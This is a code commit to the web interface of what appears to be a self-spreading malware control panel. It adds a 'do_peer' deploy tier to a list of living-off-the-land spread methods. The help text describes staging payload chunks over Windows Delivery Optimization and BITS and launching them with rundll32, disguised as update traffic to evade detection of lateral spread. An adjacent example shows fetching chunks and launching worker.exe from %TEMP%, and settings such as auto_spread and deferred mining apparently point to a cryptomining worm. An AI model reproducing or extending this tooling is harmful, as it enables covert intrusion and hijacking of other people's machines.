Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion

server/web/src/components/Fleet/ReconBadges.test.tsx

@@ -38,6 +38,11 @@ describe('Recon badges', () => {
   });
 
   it('JoinLaneBadge renders lane label', () => {
+    render(<JoinLaneBadge lane="do_peer" />);
+    expect(screen.getByText('DoSvc peer')).toBeInTheDocument();
+  });
+
+  it('JoinLaneBadge renders docker lane label', () => {
     render(<JoinLaneBadge lane="docker" />);
     expect(screen.getByText('Docker')).toBeInTheDocument();
   });

server/web/src/help/forgeOperationModes.test.ts

@@ -132,7 +132,7 @@ describe('forgeOperationModes', () => {
     expect(next.gpu_enabled).toBe(false);
     expect(next.lotl_onion_enabled).toBe(true);
     expect(next.lotl_policy_from_server).toBe(true);
-    expect(next.lotl_onion_tiers).toHaveLength(10);
+    expect(next.lotl_onion_tiers).toHaveLength(11);
     expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
     expect(next.spread_kit).toBe(false);
     expect(next.auto_spread).toBe(true);

server/web/src/help/lotlOnionTiers.ts

@@ -7,6 +7,7 @@ export const DEFAULT_LOTL_ONION_TIERS = [
   'powershell',
   'dotnet',
   'bits_curl',
+  'do_peer',
   'smb',
   'winrm',
   'linux',
@@ -81,6 +82,15 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
     example:
       'Crucible `stage_fetch` manifest: `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[{\"url\":\"https://deck/chunk1.b64\",\"file\":\"c1.b64\"}],\"sha256\":\"abc…\",\"dest\":\"%TEMP%\\\\worker.exe\",\"launch\":\"exe\"}"}`.',
   },
+  {
+    id: 'do_peer',
+    label: 'do_peer',
+    hint: 'DoSvc/BITS shadow cache handoff — LAN peer chunk staging',
+    definition:
+      'Windows Delivery Optimization (DoSvc) + BITS peer-style chunk staging on LAN. Agent seeds/receives hash-verified chunks via a local peer cache pattern and launches via rundll32/BITS — traffic resembles update peer sync, not lateral spread.',
+    example:
+      'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
+  },
   {
     id: 'smb',
     label: 'SMB',

server/web/src/help/reconRisk.test.ts

@@ -32,6 +32,7 @@ describe('reconRisk', () => {
   it('joinLaneLabel formats known lanes', () => {
     expect(joinLaneLabel('winrm')).toBe('WinRM');
     expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
+    expect(joinLaneLabel('do_peer')).toBe('DoSvc peer');
     expect(joinLaneLabel('')).toBeNull();
     expect(joinLaneLabel('custom_lane')).toBe('custom lane');
   });

server/web/src/help/reconRisk.ts

@@ -73,6 +73,8 @@ const JOIN_LANE_LABELS: Record<string, string> = {
   gpo: 'GPO',
   docker: 'Docker',
   bits: 'BITS',
+  do_peer: 'DoSvc peer',
+  bits_curl: 'BITS/curl',
   intune: 'Intune',
   'linux-lotl': 'Linux LOTL',
   linux_lotl: 'Linux LOTL',